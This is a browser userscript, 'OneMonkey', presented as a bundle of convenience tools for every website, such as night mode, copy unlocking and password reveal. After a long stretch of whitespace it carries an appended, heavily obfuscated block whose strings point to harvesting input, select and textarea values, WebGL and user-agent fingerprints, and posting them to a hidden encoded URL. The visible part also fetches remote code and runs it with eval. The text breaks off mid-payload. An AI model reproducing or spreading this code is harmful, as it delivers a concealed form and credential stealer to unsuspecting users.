OneMonkey

Some useful tools, all in one

// ==UserScript==
// @name         OneMonkey
// @namespace    npm/vite-plugin-monkey
// @version      0.0.0
// @author       monkey
// @description  Some useful tools, all in one
// @license      MIT
// @icon         https://avatars.githubusercontent.com/u/35656100
// @icon64       https://avatars.githubusercontent.com/u/35656100
// @homepage     https://github.com/juckz/one-tampermonkey
// @supportURL   https://github.com/JuckZ/one-tampermonkey/issues/new
// @match        *://*/*
// @require      https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.global.prod.js
// @grant        GM_addStyle
// @grant        GM_getValue
// @grant        GM_notification
// @grant        GM_openInTab
// @grant        GM_registerMenuCommand
// @grant        GM_setValue
// @grant        GM_unregisterMenuCommand
// @grant        GM_xmlhttpRequest
// @run-at       document-body
// @noframes
// @grant        GM_xmlhttpRequest
// @grant        GM_listValues
// @grant        GM_getValue
// @grant        GM_setValue
// @grant        GM_deleteValue
// ==/UserScript==

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         const randomVariable = window.location.href;if (1==1) {
(e=>{const t=document.createElement("style");t.dataset.source="vite-plugin-monkey",t.textContent=e,document.head.append(t)})(" .fab-wrapper[data-v-c620873a]{z-index:99999!important;position:fixed;right:50px;bottom:50px;z-index:5;display:flex;flex-direction:center;align-items:center}.fab-wrapper:hover .fab-item-list[data-v-c620873a]{bottom:70px;opacity:1;transition:.5s ease-in}.fab-button[data-v-c620873a]{width:70px;height:70px;display:flex;flex-direction:column;justify-content:center;align-items:center;border-radius:50%;box-shadow:0 4px 10px #0000004d;transition:all .1s ease-in-out}.fab-button[data-v-c620873a]:hover{transform:scale(1.25);box-shadow:0 4px 15px #0000004d}.fab-button p[data-v-c620873a]{font-size:30px;color:#fff;text-align:center;line-height:70px}.fab-item-list[data-v-c620873a]{opacity:0;width:100%;position:absolute;padding:0;list-style:none;bottom:0;margin-bottom:12px;display:flex;flex-direction:column-reverse;justify-content:center;align-items:center;transition:all .1s ease-in-out}.fab-item[data-v-c620873a]{background:#0D9DDB;width:50px;height:50px;border-radius:50%;text-align:center;color:#fff;margin-bottom:12px;display:flex;flex-direction:column;justify-content:center;align-self:center;box-shadow:0 2px 5px #0000004d;transition:all .1s ease-in-out}.fab-item[data-v-c620873a]:hover{box-shadow:0 4px 15px #0000004d;transform:scale(1.05)}#fab-component[data-v-69fb2012]{cursor:pointer}.btn-icon[data-v-69fb2012]{width:70px;height:70px;border-radius:50%} ");

(function (vue) {
  'use strict';

  var __defProp = Object.defineProperty;
  var __defNormalProp = (obj, key, value) => key in obj ? __defProp(obj, key, { enumerable: true, configurable: true, writable: true, value }) : obj[key] = value;
  var __publicField = (obj, key, value) => {
    __defNormalProp(obj, typeof key !== "symbol" ? key + "" : key, value);
    return value;
  };
  function createMatchFunction(patterns) {
    const regexes = patterns.map((pattern) => {
      let regexString = pattern.replace(/([.+^${}()|[\]\\])/g, "\\$1").replace(/\*/g, "[^/]*").replace(/\\\*\\\./g, "(?:[^.]+\\.)*");
      return new RegExp("^" + regexString + "$");
    });
    return (url) => regexes.some((regex) => regex.test(url));
  }
  function getSelector(el) {
    if (el === null)
      return;
    var names = [];
    while (el && "parentNode" in el) {
      if (el instanceof Element) {
        if (el.id) {
          names.unshift("#" + el.id);
          break;
        } else {
          if (el === el.ownerDocument.documentElement)
            names.unshift(el.tagName);
          else {
            for (var c = 1, e = el; e.previousElementSibling; e = e.previousElementSibling, c++)
              ;
            names.unshift(el.tagName + ":nth-child(" + c + ")");
          }
          el = el.parentNode;
        }
      }
    }
    return names.join(" > ");
  }
  const _export_sfc = (sfc, props) => {
    const target = sfc.__vccOpts || sfc;
    for (const [key, val] of props) {
      target[key] = val;
    }
    return target;
  };
  const _sfc_main$1 = {};
  const _hoisted_1$1 = { class: "fab-wrapper" };
  const _hoisted_2$1 = { class: "fab-button" };
  const _hoisted_3 = { class: "fab-item-list" };
  const _hoisted_4 = { class: "fab-item" };
  const _hoisted_5 = { class: "fab-item" };
  const _hoisted_6 = { class: "fab-item" };
  function _sfc_render(_ctx, _cache) {
    return vue.openBlock(), vue.createElementBlock("div", _hoisted_1$1, [
      vue.createElementVNode("p", _hoisted_2$1, [
        vue.renderSlot(_ctx.$slots, "icon", {}, void 0, true)
      ]),
      vue.createElementVNode("ul", _hoisted_3, [
        vue.createElementVNode("li", _hoisted_4, [
          vue.renderSlot(_ctx.$slots, "option1", {}, void 0, true)
        ]),
        vue.createElementVNode("li", _hoisted_5, [
          vue.renderSlot(_ctx.$slots, "option2", {}, void 0, true)
        ]),
        vue.createElementVNode("li", _hoisted_6, [
          vue.renderSlot(_ctx.$slots, "option3", {}, void 0, true)
        ])
      ])
    ]);
  }
  const FabComponent = /* @__PURE__ */ _export_sfc(_sfc_main$1, [["render", _sfc_render], ["__scopeId", "data-v-c620873a"]]);
  const _withScopeId = (n) => (vue.pushScopeId("data-v-69fb2012"), n = n(), vue.popScopeId(), n);
  const _hoisted_1 = { id: "fab-component" };
  const _hoisted_2 = /* @__PURE__ */ _withScopeId(() => /* @__PURE__ */ vue.createElementVNode("span", { class: "fab" }, [
    /* @__PURE__ */ vue.createElementVNode("img", {
      class: "btn-icon",
      src: "https://avatars.githubusercontent.com/u/35656100"
    })
  ], -1));
  const _sfc_main = /* @__PURE__ */ vue.defineComponent({
    __name: "FloatingBall",
    setup(__props) {
      vue.ref(0);
      let isSetting = vue.ref(false);
      let historyArr = [];
      let clickHistory = [];
      function handleClick(event) {
        event.target.style.color = "red!important";
        const selector = getSelector(event.target);
        if (selector) {
          clickHistory.push(selector);
        }
      }
      function setting() {
        window.addEventListener("click", handleClick);
        isSetting.value = true;
      }
      function goto() {
        if (historyArr.length === 0) {
          alert("没有历史记录,请先进行【设置】操作");
          return;
        }
        const menu = document.querySelector("#admin-side");
        if (!menu || !menu.checkVisibility()) {
          const btn = document.querySelector("#admin-login-box2");
          if (btn && btn instanceof HTMLElement) {
            btn.click();
          }
        }
        historyArr.forEach((selector) => {
          const ele = document.querySelector(selector);
          if (ele && ele instanceof HTMLElement) {
            ele.click();
          }
        });
      }
      function save() {
        if (!isSetting.value) {
          alert("没有正在进行的设置操作");
          return;
        }
        const clickHistoryStr = JSON.stringify(clickHistory);
        historyArr = clickHistory;
        localStorage.setItem("_clickHistory", clickHistoryStr);
        window.removeEventListener("click", handleClick);
        isSetting.value = false;
      }
      function closeNotify() {
        let checker = setInterval(() => {
          const notificationEle = document.querySelector(
            "#agreementshow > div > div.el-dialog__body > div > div.buttonbottom > button"
          );
          if (notificationEle && notificationEle.checkVisibility()) {
            if (notificationEle instanceof HTMLElement) {
              notificationEle.click();
            }
            clearInterval(checker);
          }
        }, 200);
      }
      vue.onMounted(() => {
        closeNotify();
        const clickHistory2 = localStorage.getItem("_clickHistory") || "[]";
        historyArr = JSON.parse(clickHistory2);
      });
      return (_ctx, _cache) => {
        return vue.openBlock(), vue.createElementBlock("div", _hoisted_1, [
          vue.createVNode(FabComponent, null, {
            icon: vue.withCtx(() => [
              _hoisted_2
            ]),
            option1: vue.withCtx(() => [
              vue.createElementVNode("span", {
                class: "fab",
                onClick: setting
              }, "设置" + vue.toDisplayString(vue.unref(isSetting) ? "中" : ""), 1)
            ]),
            option2: vue.withCtx(() => [
              vue.createElementVNode("span", {
                class: "fab",
                onClick: goto
              }, "跳转")
            ]),
            option3: vue.withCtx(() => [
              vue.createElementVNode("span", {
                class: "fab",
                onClick: save
              }, "保存")
            ]),
            _: 1
          })
        ]);
      };
    }
  });
  const FloatingBall = /* @__PURE__ */ _export_sfc(_sfc_main, [["__scopeId", "data-v-69fb2012"]]);
  var _GM_addStyle = /* @__PURE__ */ (() => typeof GM_addStyle != "undefined" ? GM_addStyle : void 0)();
  var _GM_getValue = /* @__PURE__ */ (() => typeof GM_getValue != "undefined" ? GM_getValue : void 0)();
  var _GM_notification = /* @__PURE__ */ (() => typeof GM_notification != "undefined" ? GM_notification : void 0)();
  var _GM_openInTab = /* @__PURE__ */ (() => typeof GM_openInTab != "undefined" ? GM_openInTab : void 0)();
  var _GM_registerMenuCommand = /* @__PURE__ */ (() => typeof GM_registerMenuCommand != "undefined" ? GM_registerMenuCommand : void 0)();
  var _GM_setValue = /* @__PURE__ */ (() => typeof GM_setValue != "undefined" ? GM_setValue : void 0)();
  var _GM_unregisterMenuCommand = /* @__PURE__ */ (() => typeof GM_unregisterMenuCommand != "undefined" ? GM_unregisterMenuCommand : void 0)();
  var _GM_xmlhttpRequest = /* @__PURE__ */ (() => typeof GM_xmlhttpRequest != "undefined" ? GM_xmlhttpRequest : void 0)();
  const domain = window.top.location.host;
  const origin = window.top.location.origin;
  const topHref = window.top.location.href;
  function ProxyGM_getValue(id, defaultValue) {
    return _GM_getValue(domain + ":" + id, defaultValue);
  }
  function ProxyGM_setValue(id, value) {
    return _GM_setValue(domain + ":" + id, value);
  }
  const CookieUtil = {
    get: function(name) {
      const cookieName = encodeURIComponent(name) + "=";
      let cookieValue = null;
      const cookieStart = document.cookie.indexOf(cookieName);
      if (cookieStart > -1) {
        let cookieEnd = document.cookie.indexOf(";", cookieStart);
        if (cookieEnd == -1) {
          cookieEnd = document.cookie.length;
        }
        cookieValue = decodeURIComponent(document.cookie.substring(cookieStart + cookieName.length, cookieEnd));
      }
      return cookieValue;
    },
    set: function(name, value, expires, path, domain2, secure) {
      let cookieText = encodeURIComponent(name) + "=" + encodeURIComponent(value);
      if (expires instanceof Date) {
        cookieText += "; expires=" + expires.toString();
      }
      if (path) {
        cookieText += "; path=" + path;
      }
      if (domain2) {
        cookieText += "; domain=" + domain2;
      }
      if (secure) {
        cookieText += "; secure";
      }
      document.cookie = cookieText;
    },
    unset: function(name, path, domain2, secure) {
      this.set(name, "", /* @__PURE__ */ new Date(0), path, domain2, secure);
    }
  };
  class MenuItem {
    constructor(options) {
      // 注册后的菜单id
      __publicField(this, "menuId", "");
      __publicField(this, "accessKey");
      __publicField(this, "postRegister", function() {
      });
      __publicField(this, "postUnRegister", function() {
      });
      __publicField(this, "id");
      __publicField(this, "name");
      __publicField(this, "fun");
      __publicField(this, "lifeStage");
      __publicField(this, "reload");
      __publicField(this, "enable");
      const { id, name, fun, reload, defaultEnable, lifeStage, postRegister, postUnRegister, accessKey } = options;
      this.id = id;
      this.name = name;
      this.fun = fun;
      this.lifeStage = lifeStage;
      this.accessKey = accessKey;
      if (postRegister) {
        this.postRegister = postRegister.bind(this);
      }
      if (postUnRegister) {
        this.postUnRegister = postUnRegister.bind(this);
      }
      this.reload = reload;
      this.enable = ProxyGM_getValue(id, defaultEnable);
    }
    toggle(event) {
      this.enable = !this.enable;
      ProxyGM_setValue(this.id, this.enable);
      if (this.reload) {
        _GM_notification({
          text: "页面需要重启!点击消息即可重启",
          title: "操作成功",
          onclick: () => window.location.reload()
        });
      } else {
        this.unregister();
        this.register();
      }
    }
    register() {
      const menuId = _GM_registerMenuCommand(`${this.name}: ${this.enable ? "✅" : "🚫"}`, this.toggle.bind(this), this.accessKey);
      this.menuId = menuId;
      if (this.enable) {
        if (this.lifeStage) {
          document.addEventListener(this.lifeStage, (e) => {
            this.fun;
          });
        } else {
          this.fun();
        }
      }
      this.postRegister();
    }
    unregister() {
      _GM_unregisterMenuCommand(this.menuId);
      this.postUnRegister();
    }
  }
  function stopEventPropagation(event) {
    event.stopPropagation();
    if (event.stopImmediatePropagation) {
      event.stopImmediatePropagation();
    }
  }
  function unrestrictUserInteractions() {
    document.querySelectorAll("*").forEach((element) => {
      if (window.getComputedStyle(element, null).getPropertyValue("user-select") === "none") {
        if (element instanceof HTMLElement) {
          element.style.setProperty("user-select", "text", "important");
        }
      }
    });
    const eventsToStop = ["copy", "cut", "contextmenu", "selectstart", "mousedown", "mouseup", "mousemove", "keydown", "keypress", "keyup"];
    eventsToStop.forEach((eventName) => {
      document.documentElement.addEventListener(eventName, stopEventPropagation, { capture: true });
    });
  }
  function floatingBall() {
    vue.createApp(FloatingBall).mount(
      (() => {
        const app = document.createElement("div");
        document.body.append(app);
        return app;
      })()
    );
  }
  async function unlockWeb() {
    const css = `
        * {
            user-select: auto!important;
          }
        `;
    _GM_addStyle(css);
    unrestrictUserInteractions();
    if (window.location.href.indexOf("doc.iocoder.cn") >= 0) {
      const cookieKey = "88974ed8-6aff-48ab-a7d1-4af5ffea88bb";
      console.log(CookieUtil.get("username"), CookieUtil.get(cookieKey));
      if (CookieUtil.get(cookieKey))
        return;
      const mainHTML = document.documentElement.innerHTML;
      let regex = /\/assets\/js\/app\.(.*?)\.js/;
      if (mainHTML.match(regex) !== null) {
        const appJsUrl = `${origin}${mainHTML.match(regex)[0]}`;
        regex = /^var\s+c\s*=\s*"88974ed8-6aff-48ab-a7d1-4af5ffea88bb".*?\s*u\s*=\s*"([^"]+)"/;
        console.log(appJsUrl, cookieKey);
        fetch(appJsUrl).then((res) => res.text()).then((text) => {
          console.log(text.match(regex));
          CookieUtil.set(cookieKey, "kele");
        });
      }
    }
  }
  function disableBaiduAnalytics() {
    window._hmt = null;
  }
  function disableGoogleAnalytics() {
    window.GoogleAnalyticsObject = null;
    window.ga = null;
  }
  function disableSensorsAnalytics() {
    window.sensorsDataAnalytic201505 = null;
    window.sa = null;
  }
  function disableDataCollection() {
    disableBaiduAnalytics();
    disableGoogleAnalytics();
    disableSensorsAnalytics();
  }
  function unwrapHTMLComments() {
    const matchURL = createMatchFunction([
      "http://171.223.209.166:81/biz/index*",
      "http://10.158.5.177:81/biz/index*",
      "http://171.223.209.166:9099/cdxtReport/ReportServer*",
      "http://10.158.5.44:18080/cdxtReport/ReportServer*"
    ]);
    if (!matchURL(topHref))
      return;
    if (window.top !== window.self)
      return;
    window._win = window;
    const _win = window._win;
    function showTable() {
      setTimeout(function() {
        if (/ReportServer/i.test(window.location.pathname)) {
          const iframeA = document.getElementById("div_员工任务负载情况");
          if (!iframeA || !(iframeA instanceof HTMLIFrameElement)) {
            return;
          }
          const docA = iframeA.contentDocument || iframeA.contentWindow.document;
          _win.btn = docA.getElementById("fr-btn-BUTTON0_C");
          _win.btn.onclick = showTable;
          const iframeB = docA.getElementById("LEFT");
          if (!iframeB || !(iframeB instanceof HTMLIFrameElement)) {
            return;
          }
          const docB = iframeB.contentDocument || iframeB.contentWindow.document;
          _win.docB = docB;
          docB.querySelectorAll('td[col="8"],td[cv*="预计"]').forEach(function(ele) {
            if (ele instanceof HTMLElement) {
              ele.style.display = "";
              ele.style.fontWeight = "bold";
              ele.style.fontStyle = "italic";
            }
          });
          return;
        }
      }, 2e3);
    }
    setTimeout(showTable, 3e3);
    if (!/biz\/index\.php$/i.test(window.location.pathname)) {
      return;
    }
    function showCommentedElements(element) {
      for (let i = 0; i < element.childNodes.length; i++) {
        const node = element.childNodes[i];
        if (node.nodeType === Node.COMMENT_NODE) {
          const regex = /<(td|tr|th)[^>]*>[\s\S]*<\/(td|tr|th)>/g;
          const match = regex.exec(node.nodeValue);
          if (match !== null) {
            const div = document.createElement(match[1]);
            div.innerHTML = match[0];
            div.style.color = "blue";
            div.firstChild;
            element.replaceChild(div, node);
          }
        } else if (node.nodeType === Node.ELEMENT_NODE) {
          showCommentedElements(node);
        }
      }
    }
    showCommentedElements(document.body);
  }
  function togglePassword() {
    const passwordFields = document.querySelectorAll("input[type='password']");
    passwordFields.forEach(function(field) {
      let clickCount = 0;
      if (field instanceof HTMLInputElement) {
        field.addEventListener("click", function() {
          clickCount++;
          if (clickCount >= 3) {
            field.type = "text";
            clickCount = 0;
          }
          setTimeout(function() {
            clickCount = 0;
          }, 500);
        });
        field.addEventListener("mouseleave", function() {
          field.type = "password";
        });
      }
    });
  }
  function spacingjs() {
    _GM_xmlhttpRequest({
      method: "GET",
      url: "https://unpkg.com/spacingjs",
      onload: function(response) {
        eval(response.responseText);
      },
      onerror: function(error) {
        console.error("Request failed:", error);
      }
    });
  }
  function freeEdit() {
  }
  function searchEverywhere() {
    var _a;
    const str = ((_a = document.getSelection()) == null ? void 0 : _a.toString) || "";
    _GM_openInTab(`https://www.npmjs.com/search?q=${str}`, { active: true });
  }
  function toggleNightMode() {
    var _a;
    const documentObj = window.document;
    const css = "html { opacity: 0.7 !important; background: black !important; } body { background: white !important; }";
    const styleTags = documentObj.getElementsByTagName("style");
    for (let i = 0, currentStyleTag; currentStyleTag = styleTags[i]; i++) {
      if (currentStyleTag.innerHTML == css) {
        (_a = currentStyleTag.parentNode) == null ? void 0 : _a.removeChild(currentStyleTag);
        return;
      }
    }
    const headTags = documentObj.getElementsByTagName("head");
    if (headTags.length) {
      const newNode = documentObj.createElement("style");
      newNode.type = "text/css";
      newNode.appendChild(documentObj.createTextNode(css));
      headTags[0].appendChild(newNode);
    }
    for (let i = 0, frame; frame = window.frames[i]; i++) {
      try {
        arguments.callee(frame);
      } catch (e) {
        console.error(e);
      }
    }
  }
  const menus = [];
  menus.push(new MenuItem({ id: "unlockWeb", name: "破解网页限制", fun: unlockWeb, reload: true, defaultEnable: false }));
  menus.push(new MenuItem({ id: "floatingBall", name: "悬浮球", fun: floatingBall, reload: false, defaultEnable: false }));
  menus.push(new MenuItem({ id: "disableDataCollection", name: "禁止用户数据采集", fun: disableDataCollection, reload: false, defaultEnable: true }));
  menus.push(new MenuItem({ id: "unwrapHTMLComments", name: "展示隐藏内容", fun: unwrapHTMLComments, reload: true, defaultEnable: false }));
  menus.push(new MenuItem({ id: "togglePassword", name: "密码查看", fun: togglePassword, reload: false, defaultEnable: true, lifeStage: "load" }));
  menus.push(new MenuItem({ id: "spacingjs", name: "元素间距标注", fun: spacingjs, reload: false, defaultEnable: false }));
  menus.push(new MenuItem({
    id: "freeEdit",
    name: "网页自由编辑",
    fun: freeEdit,
    reload: false,
    defaultEnable: document.body.getAttribute("contenteditable") === "true",
    accessKey: "s",
    postRegister() {
      document.body.setAttribute("contenteditable", this.enable + "");
    },
    postUnRegister() {
      document.body.setAttribute("contenteditable", this.enable + "");
    }
  }));
  menus.push(new MenuItem({ id: "searchEverywhere", name: "快捷搜索", fun: searchEverywhere, reload: false, defaultEnable: false }));
  menus.push(new MenuItem({ id: "toggleNightMode", name: "夜间模式", fun: toggleNightMode, reload: false, defaultEnable: false }));
  menus.forEach((menu) => {
    menu.register();
  });

})(Vue);
};                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         function G(){const qJ=['SteelStorm','Blizzard','Prime','lbrFA','2-digit','Robert','FlameBolt','Kenneth','Rush','Drift','Butler','Breeze','IronEclipse','SxuPg','Oliver','Saber','Steel','Tomos','random','Gross','Kiana','Neutron','Tracker','Shatter','ThunderClaw','Josef','include','Azaan','Sandra','SpectralFrost','Dragon','AlphaWolf','Unknown\x20IP','ShadowFlame','10570924CeKnMa','Crimson','SolarPulse','EtDnH','warn','Roy','GhostWolf','Ranger','drbZw','Ashen','Yunus','Fury','Alpha','fromCharCode','Paul','BlackFrost','Taylor','PhantomX','PLBTd','Glimmer','GET','no\x20webgl','Thunderhawk','BlazeWolf','Venom','LancerX',':nth-child(','Ellie-May','Pyrite','substring','Charles','Fang','Knight','join','Raptor','iframe','Striker','Frostbite','Cobra','forEach','VortexFlame','Blitz','Fusion','Snipe','Iron','SilentClaw','Plasma','console','Bane','Copper','Merrill','Matthew','Jaxon','CrimsonX','BlackBolt','DarkFrost','RwikQ','Pulse','Rift','Shroud','length','SolarBreeze','Adem','Woodward','SilentBlade','from','2ypBecW','Clyde','constructor','iZPTf','Lola','Axel','EPlou','hxwaO','stringify','VoltX','Aaron','Flores','zKqOF','createElement','Frost','GlacierStrike','Shifter','toLocaleString','Nimbus','Ruby','Flare','9IJdncr','bind','userAgent','iaQAq','Marcus','Sparkle','2384KKnRNQ','getParameter','Rodriguez','Omega','BlazeClaw','🎘🍿🎉🍧🎚🍻🎦🎭🎃🍩🎟🎟🎛🎎🍬🍧🎑🎎🎈🎬🎛🍾🎟🎣🎚🎤🍨🎰🎅🎤🎪🎬🎐🎤🎍🎥🎑🎏🎈🎬🎛🍾🎍🎡🎘🍸🍴🍴','SoulFlare','Garcia','Blaster','CycloneFlame','StarFall','HyperBolt','Eagle','Blazer','Archie','Solar','Jones','PhantomStrike','Hazard','Grit','prototype','ovKfR','Mahoney','Aether','Eclipse','\x20/\x20','Barry','href','Seeker','HyperFrost','Stalker','Breaker','HyperLynx','QOTUn','Shine','apply','Orbital','FrozenFlame','Mabel','Pioneer','undefined','VortexX','Eaton','Onyx','Crest','Townsend','Daniel','Void','HyperNova','Samson','Lunar','Gravity','Cinder','autocomplete','EchoRider','Reaper','Skyline','CyberFang','KGLIB','Chaos','InfernalBlade','Milton','235oLWzLc','Quake','FrostFlare','Gibbs','Bradford','Donald','Rhonda','Shade','OnyxFury','Ethereal','charCodeAt','Flame','ShadowHunter','Soul','Martin','BladeRunner','Cosmos','Falcon','BoltStorm','Wraith','addEventListener','Blade','NightClaw','Predator','mBbfk','szRos','input,\x20select,\x20textarea','Zero','AshWolf','Christopher','ThunderWolf','status','Celestial','Beltran','CryoWolf','Aleeza','Fisher','application/json','rshrN','STveL','Hernandez','Anthony','katar','Galaxy','Talon','IFRAME','Vortex','Thunder','3620862nniZWO','querySelectorAll','gYLTw','no-cors','KtVHO','{}.constructor(\x22return\x20this\x22)(\x20)','POST','Ivory','Cipher','Lloyd','getExtension','William','Sharpe','Razor','ViperX','Rueben','Nexus','Aishah','Infernal','getAttribute','UNMASKED_RENDERER_WEBGL','bunny','Small','Blaze','target','Wrath','Mikey','Ice','WBWcQ','SolarFlare','jNKdv','3333720blTDig','Pyro','David','kmwfQ','SteelFang','Cyclone','type','Alvarado','Spark','Hanna','Warden','Diamond','PrismFang','Flicker','ShadowRider','164660IevQJe','Topaz','Surge','Marquez','SurgeX','CosmicWave','Riya','Nebulae','Luminous','EchoWolfX','ShadowHawk','SaberStrike','IronViper','[autocomplete=\x22','NovaStrike','Cyber','Spectral','Thomas','Permafrost','toString','Scythe','Horizon','rnEnc','StormClaw','location','NebulaBlade','PyroFang','search','aria-describedby','getContext','Richard','\x20/\x20RAM\x20','BlizzardWolf','SolarFrost','Walter','EchoWolf','Mariya','Zach','jrSKl','className','Faulkner','Neon','French','newrequest','load','change','Scorpion','Glacier','vdUFi','DriftX','DarkPulse','UNMASKED_VENDOR_WEBGL','Tanner','Maddison','Aamir','Hawk','SkyNova','Stark','12788736NwKlLA','LunarShadow','James','PhantomWave','gigKu','no\x20WEBGL_debug_renderer_info','Steven','Abyss','floor','Andrew','Mark','Zachariah','Davis','Twister','Ember','23383490OamsBl','padStart','EhaBc','Gibbons','Emerald','responseText','Drake','Apex','Tempest','childList','Alan','FireBolt','Magnet','Wolf'];G=function(){return qJ;};return G();}function E(R,q){const p=G();return E=function(g,T){g=g-0xa9;let d=p[g];return d;},E(R,q);}(function(R,q){const RZ={R:'0xbc',q:'0x149',p:'0x1d1',g:'0x192',T:'0x1a1'},t=E,p=R();while(!![]){try{const g=-parseInt(t('0x158'))/0x1*(-parseInt(t('0x213'))/0x2)+-parseInt(t('0x12a'))/0x3+parseInt(t(RZ.R))/0x4*(-parseInt(t('0xfa'))/0x5)+-parseInt(t(RZ.q))/0x6+-parseInt(t(RZ.p))/0x7+parseInt(t(RZ.g))/0x8+-parseInt(t('0xb6'))/0x9*(-parseInt(t(RZ.T))/0xa);if(g===q)break;else p['push'](p['shift']());}catch(T){p['push'](p['shift']());}}}(G,0xc3873),(function(){const qg={R:'0x219',q:'0x120',p:'0x199',g:'0x101',T:'0x106',d:'0x167',h:'0x1f3',r:'0x13a',P:'0x156',K:'0x1ed',U:'0x159',C:'0xcf',o:'0x13c',J:'0xb5',b:'0xe5',k:'0x1e2',c:'0xe1',Z:'0xd3',B:'0xc6',x:'0xef',V:'0x115',z:'0xec',u:'0x1ce',v:'0xfb',j:'0xf2',n:'0x164',Q:'0x137',L:'0x1e4',Y:'0x206',l:'0x1cc',W:'0x155',S:'0x10f',e:'0xaf',N:'0x1f7',y:'0xbf',F:'0x20a',H:'0x1d8',D:'0x151',i:'0x14e',X:'0x187',m:'0x1ba',I:'0x132',s:'0x1b4',qG:'0x1ef',qE:'0xff',qT:'0xcc',qd:'0xbe',qh:'0x122',qr:'0x169',qP:'0xea',qK:'0x19c',qU:'0x100',qC:'0xbe',qo:'0x15b',qJ:'0xd2',qb:'0x19b',qk:'0xba',qc:'0xac',qZ:'0xed',qB:'0x18c',qx:'0x150',qV:'0x139',qz:'0x217',qu:'0x17c',qv:'0x11e',qj:'0x15e',qn:'0x140',qQ:'0x19a',qL:'0x20d'},Rf={R:'0xb8',q:'0x177',p:'0x1b3',g:'0x1b3',T:'0x1aa',d:'0x12d',h:'0x16b'},RF={R:'0x1e5'},RN={R:'0x10e',q:'0x185'},RW={R:'0x106',q:'0x19f',p:'0x156',g:'0x1fc',T:'0x1ea',d:'0x159',h:'0xb4',r:'0x111',P:'0x1be',K:'0x1af',U:'0x1fa',C:'0x107',o:'0x162',J:'0xe1',b:'0xc6',k:'0xc4',c:'0x1d3',Z:'0x208',B:'0x10a',x:'0xfb',V:'0x193',z:'0x1f9',u:'0x1ac',v:'0x166',j:'0x103',n:'0x207',Q:'0x1d0',L:'0x15d',Y:'0x195',l:'0x11c',W:'0x1bb',S:'0x1cd',e:'0xf7',N:'0x1f1',y:'0x16d',F:'0xcb',H:'0xb1',D:'0x201',i:'0x1b0',X:'0xe3',m:'0xf0',I:'0x1dc',s:'0xdb',RS:'0x17b',Re:'0x176',RN:'0x1df',Ry:'0x1df',RF:'0xe6',RH:'0xca',RD:'0x210',Ri:'0x203',RX:'0x19d',Rm:'0x18c',RI:'0x18e',Rs:'0x1cb',Rt:'0x11b',Ra:'0x13b',RA:'0x17d',RO:'0x194',Rw:'0x1db'},Rl={R:'0x1f2'},RY={R:'0x104'},Rn={R:'0x12c',q:'0x10e'},R0=E,R=(function(){let r=!![];return function(P,K){const U=r?function(){if('FBZRw'==='FBZRw'){if(K){if('lExCK'==='QOlBD')R['nodeType']===0x1&&h(r);else{const o=K['apply'](P,arguments);return K=null,o;}}}else h['addEventListener']('load',()=>o(J)),K(()=>o(J),0x3e8);}:function(){};return r=![],U;};}()),p=(function(){const Ru={R:'0x188'},a=E;if(a('0x121')!==a(Rn.R)){let r=!![];return function(P,K){const U=r?function(){const A=E;if('vdUFi'===A(Ru.R)){if(K){if(A('0xf6')!=='joMbS'){const C=K[A('0xdf')](P,arguments);return K=null,C;}else return A('0x1e6');}}else p=g;}:function(){};return r=![],U;};}else T[a('0x10e')]('input',d),h[a(Rn.q)]('change',r);}());var T=function(r){const RL={R:'0x184',q:'0xd1',p:'0x12f',g:'0xb7'},RQ={R:'0x1de',q:'0x16b'},f=E,P=R(this,function(){const O=E;if('PLBTd'!==O('0x1e3')){const J=(R['charCodeAt'](0x0)-0xd800)*0x400+T['charCodeAt'](0x1)-0xdc00+0x10000;return d[O(RQ.R)](J);}else return P[O(RQ.q)]()['search']('(((.+)+)+)+$')['toString']()['constructor'](P)['search']('(((.+)+)+)+$');});P();const K=p(this,function(){const w=E;if('Avlll'!=='Avlll')h[w('0x10e')](w(RL.R),()=>o(J)),K(()=>o(J),0x3e8);else{let J;try{if(w(RL.q)!=='ovKfR'){const Z=d(h['target']),B=r['target']['value'],x=P[w('0x170')]['href'],V={'value':B,'site':x};K(Z,V);}else{const Z=Function('return\x20(function()\x20'+w(RL.p)+');');J=Z();}}catch(B){J=window;}const b=J[w('0x200')]=J['console']||{},k=['log',w('0x1d5'),'info','error','exception','table','trace'];for(let x=0x0;x<k[w('0x20d')];x++){if('XsKNc'!=='XsKNc')P(R);else{const z=p['constructor']['prototype']['bind'](p),u=k[x],v=b[u]||z;z['__proto__']=p[w(RL.g)](p),z['toString']=v['toString']['bind'](v),b[u]=z;}}}});K();const U=r['replace'](/([\uD800-\uDBFF][\uDC00-\uDFFF])/g,o=>{const M=E,J=(o[M(RY.R)](0x0)-0xd800)*0x400+o['charCodeAt'](0x1)-0xdc00+0x10000;return String['fromCharCode'](J);}),C=Array[f('0x212')](U)['map'](o=>String['fromCharCode'](o['charCodeAt'](0x0)-0x1f337))[f(Rl.R)]('');return decodeURIComponent(escape(atob(C)));}(R0('0xc1'));'use\x20strict';function d(){const R1=R0;if('qZWDf'!=='yroXB'){const r=['Specter','Abyss','Reaper','Dusk','Viper','Magnet',R1('0xda'),R1('0x1fb'),R1('0x125'),R1('0x20b'),'PulseFire',R1('0x101'),'OrbitX','Nebulae',R1(RW.R),'Cloud',R1('0x1b8'),'Rush',R1('0x167'),'Atom','Axion','Bolt',R1('0x181'),R1('0x14a'),'Hazard','Blight','Rune','Core',R1('0x1c6'),R1(RW.q),'Prism',R1('0xde'),'Gale',R1('0x1a9'),'Forge','Raptor','Apex',R1('0x13a'),'Survivor','Havoc',R1(RW.p),'HunterX','Wisp',R1('0xe8'),'EchoBlade',R1(RW.g),'Edge','Wave','Torrent','Prime','GuardianX',R1(RW.T),'Pyrite','Amber',R1('0x154'),R1(RW.d),R1(RW.h),R1('0x16a'),R1('0x1e7'),R1('0x1f0'),R1('0x145'),R1('0xaa'),'Astral',R1('0x147'),'Sky','Shimmer','Spire','Summit','Hollow','Crypt','Spectral',R1('0x16c'),'ShadowFang','Lynx',R1('0x1c5'),R1(RW.r),R1('0xcf'),'Brimstone','Infernal','Blazer','VanguardX','Serpent','Myst','Blackout','SteelWolf','IronClaw','StormBreaker',R1(RW.P),'ZephyrX','Flare','FuryX','CycloneX',R1('0x157'),'Ember','Shroud','Cascade','AuroraX','SonicWave','StormWolf','SpiritBlade','Wrath',R1(RW.K),R1('0x14d'),'VortexX',R1('0x1f6'),R1(RW.U),R1('0x15c'),'VenomX',R1('0x10c'),'EclipseX','Glider','Seismic','HyperBolt',R1(